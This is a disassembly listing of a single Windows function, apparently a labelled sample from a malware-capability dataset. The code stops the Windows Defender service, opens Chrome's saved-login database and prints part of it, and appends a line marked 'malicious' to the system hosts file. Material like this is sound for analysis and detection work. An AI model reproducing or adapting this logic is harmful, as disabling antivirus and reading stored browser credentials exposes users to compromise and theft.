Function at 0x140001290
Capabilities:
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x580]
sub rsp, 0x680
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x570], rax
xor r14d, r14d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x140001302
lea rdx, str.Fehler:_Kann_Service_Manager_nicht
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140002980
mov eax, 1
jmp 0x140001695
mov r8d, 0x24
lea rdx, str.WinDefend
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
jne 0x140001346
lea rdx, str.Fehler:_Kann_Dienst_nicht
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140002980
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
jmp 0x140001695
lea r8, [rbp + 0x150]
mov ebx, 1
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test eax, eax
lea rdx, str.Windows_Defender_wurde_gestoppt._n
jne 0x140001376
lea rdx, str.Fehler:_Konnte_Windows_Defender_nicht_stoppen._n
call fcn.140002980
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rsi, [0x140000000]
lea rax, [rsi + 0x5930]
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0xf0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rdi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x50], rdi
mov byte [rbp + 0xcc], 0
mov byte [rbp + 0xc1], 0
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xd0], r14
mov rax, qword [0x1400099f8]
mov qword [rbp + 0xc4], rax
mov qword [rbp + 0xb8], r14
mov r8d, 0x21
lea rdx, str.C:UsersAdministratorAppDataLocalGoogleChromeUser_DataDefaultLogin_Data
lea rcx, [rbp + 0x50]
call fcn.1400027d0
test rax, rax
jne 0x14000147f
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp qword [rbp + 0xd0], 0
jne 0x1400014a1
lea rdx, str.Fehler:_Kann_Chrome_Login_Data_Datei_nicht_ffnen._n
call fcn.140002b60
jmp 0x14000168a
lea rdx, str.Erfolg:_Zugriff_auf_Chrome_Login_Data_Datei_erhalten._n
call fcn.140002b60
mov r8d, 0x400
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rdx, str.Dateiinhalt__Auszug_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b60
mov rcx, rax
lea rdx, [rbp + 0x170]
call fcn.140002b60
mov rcx, rax
lea rdx, [0x1400057b0]
call fcn.140002b60
lea rcx, [rbp + 0x50]
call fcn.140002710
test rax, rax
jne 0x140001520
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsi + 0x5928]
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
lea rcx, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rsp + 0x38], rdi
mov byte [rbp - 0x4c], 0
mov byte [rbp - 0x57], 0
lea rcx, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x48], r14
mov rax, qword [0x1400099f8]
mov qword [rbp - 0x54], rax
mov qword [rbp - 0x60], r14
mov r8d, 0xa
lea rdx, str.C:WindowsSystem32driversetchosts
lea rcx, [rsp + 0x38]
call fcn.1400027d0
test rax, rax
jne 0x140001602
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp qword [rbp - 0x48], 0
jne 0x14000161e
lea rdx, str.Fehler:_Kann_System_Datei_nicht_ffnen._n
call fcn.140002b60
jmp 0x14000167f
lea rdx, str.Erfolg:_System_Datei_geffnet._n
call fcn.140002b60
lea rdx, str._n_Malicious_line_inserted_by_program_n
lea rcx, [rsp + 0x30]
call fcn.140002b60
lea rcx, [rsp + 0x38]
call fcn.140002710
test rax, rax
jne 0x140001669
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str.Daten_wurden_in_die_System_Datei_geschrieben._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b60
mov ebx, r14d
lea rcx, [rsp + 0x30]
call fcn.140001790
nop
lea rcx, [rbp + 0x40]
call fcn.1400016d0
mov eax, ebx
mov rcx, qword [rbp + 0x570]
xor rcx, rsp
call fcn.140003090
lea r11, [rsp + 0x680]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret